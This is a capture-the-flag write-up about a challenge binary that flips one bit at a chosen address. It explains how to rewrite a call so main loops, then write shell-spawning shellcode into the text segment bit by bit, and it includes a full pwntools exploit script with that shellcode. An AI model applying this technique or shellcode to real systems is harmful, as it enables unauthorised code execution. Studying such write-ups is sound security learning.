Solved by sherl0ck
For this challenge we were given a 64 bit, stripped ELF binary.
The protections enabled were –
$ checksec bit
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : FULL
As will be seen, enabling NX and Relro has no effect on the exploit !
The disassembly of this binary is pretty small. What this binary actually does is this –
- takes in an address in hex and another integer (say n)
- if n is not less than or equal to 7, it returns -1
- page aligns the address and gives it “read write execute” permissions
- flips the nth last bit of the value present at the given address
- revokes the “write” permission of the page
The flipping of the bit actually means converting the bit to zero if it was previously one and vice versa. So in this binary we can flip a bit at any address, even the text segment !
In order to exploit this binary, I called the main function over and over. This can done by flipping a bit at the address of the second call to mprotect.
0x400713: call 0x400520 <mprotect@plt>
Note the address that the entry point of this binary is at the address 0x400540.
0x400540: xor ebp,ebp
0x400542: mov r9,rdx
0x400545: pop rsi
0x400546: mov rdx,rsp
0x400549: and rsp,0xfffffffffffffff0
0x40054d: push rax
0x40054e: push rsp
0x40054f: mov r8,0x4007c0
0x400556: mov rcx,0x400740
0x40055d: mov rdi,0x400636
0x400564: call 0x400500 <__libc_start_main@plt>
In the second call to mprotect the address that is being called (i.e 0x400520) will represented as ‘0xffffe08’ in the memory (basically current rip + 0xffffe08). The address we want to call is 0x400540. Subtracting the current value of rip (0x400718) from this, we get ‘0xfffffe28’. Representing both these value’s in binary –
0xfffffe08: 11111111111111111111111000001000
0xfffffe28: 11111111111111111111111000101000
Notice that only the 5th last bit is different in both (counting starts from zero). So if we just flip that bit we can actually call main again. Thus we just have to flip the 5th bit at the address 0x400714 (the first byte of the address 0x400713 is the opcode of call). Now again, note what happens if the integer, n, that we entered is greater than 7 –
0x400690: jmp 0x40071d
So we can actually start writing a shellcode at this address. This has to be done by flipping a bit at an address till it is equal to the bit in the shellcode. After the shellcode has been written into the text segment, we just have to give an integer that is greater than 7 and the program will start executing the shellcode !
So here’s a summary of the exploit :
- Give in the input 400714:5. This will flip the 5th last bit at 0x400714 thus effectively changing the code from “call 0x400520” to “call 0x400540” which results in the binary calling main() again and again as long as the input is valid.
- Start writing the shellcode at the address 0x40071d. For more details on this refer the make function in the following exploit script.
- Give an address (any number for that matter 🙂 ) followed by an integer greater than 7. This will result in a jump to shellcode.
Here’s my exploit script (can’t say it’s the most efficient 😛 ) –
from pwn import * import sys if len(sys.argv)>1: r=remote("flatearth.fluxfingers.net", 1744) else: r=process('./bit') e=ELF('./bit') addr1=0x400714 arr=e.read(0x40071d, 27) print "Read address" shellcode="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" target=0x40071d def change(addr,idx): r.sendline(hex(addr).replace('0x','')+":"+str(idx)) def make(): for i in range(27): diff=ord(arr[i])^ord(shellcode[i]) # after a xor, the bits corresponding to 1 differ in the original itr=format(diff,'07b').count('1') #itr is the no. of ones present in binary representation of the i byte for j in range(itr): # iterate till the byte is equal to the corresponding shellcode byte idx=format(diff,'07b')[::-1].find('1') # idx is the first 1 from the end, i.e the index of the last differing bit change(target+i,idx) # write it in the code ''' Updating the value of diff to account for the bit we just flipped ''' fmt=format(diff,'07b') tmp=list(fmt) if tmp[len(tmp)-idx-1]=='0': tmp[len(tmp)-idx-1]='1' else: tmp[len(tmp)-idx-1]='0' t="".join(tmp) diff=int('0b'+t,2) change(addr1,5) # changing call mprotect to call __libc_start_main make() # write the shellcode in the text segment r.sendline("23123:9") # jump to shellcode r.interactive()
Running this script gives us the shell and thus the flag.
Flag : FLAG{one_bit_to_rule_them_all}
Leave a Reply